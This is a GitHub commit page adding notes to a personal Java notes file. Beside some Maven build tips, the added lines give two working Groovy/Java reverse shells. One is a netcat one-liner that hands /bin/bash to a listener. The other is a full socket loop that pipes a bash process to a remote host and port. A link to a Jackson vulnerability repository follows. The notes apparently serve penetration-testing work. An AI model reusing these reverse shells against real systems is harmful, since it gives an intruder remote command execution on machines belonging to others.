Skip to content

Commit 54f1303

Browse files
committed
add a few more java notes
1 parent 8509351 commit 54f1303

File tree

1 file changed

+38
-1
lines changed

1 file changed

+38
-1
lines changed

_programming/JAVA.md

+38-1
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
---
22
---
33

4-
# JAVA related
4+
# JAVA Related Tips and Tricks
55
---
66
date: 18/01/2025
77
---
@@ -12,3 +12,40 @@ date: 18/01/2025
1212
* Building without `-Dmaven.test.skip=true`
1313
* Jar files are usually under `./target` folder of the project (prefer the generated `*jar-with-dependencies.jar`)
1414
* For projects with submodules look for `target/` folder under each of them
15+
16+
# Groovy
17+
18+
## Reverse Shell
19+
20+
### with netcat
21+
```java
22+
new ProcessBuilder("nc","-e","/bin/bash","localhost","1234").start()
23+
```
24+
25+
### without netcat
26+
```java
27+
String host="localhost";
28+
int port=1445;
29+
String cmd="/bin/bash";
30+
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
31+
Socket s=new Socket(host,port);
32+
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
33+
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
34+
while(!s.isClosed()) {
35+
while(pi.available()>0) so.write(pi.read());
36+
while(pe.available()>0) so.write(pe.read());
37+
while(si.available()>0) po.write(si.read());
38+
so.flush();
39+
po.flush();
40+
Thread.sleep(50);
41+
try {p.exitValue();
42+
break;
43+
}
44+
catch (Exception e){}
45+
};
46+
p.destroy();
47+
s.close();
48+
```
49+
50+
51+
https://github.com/lorenzodegiorgi/jackson-vulnerability

0 commit comments

Comments
 (0)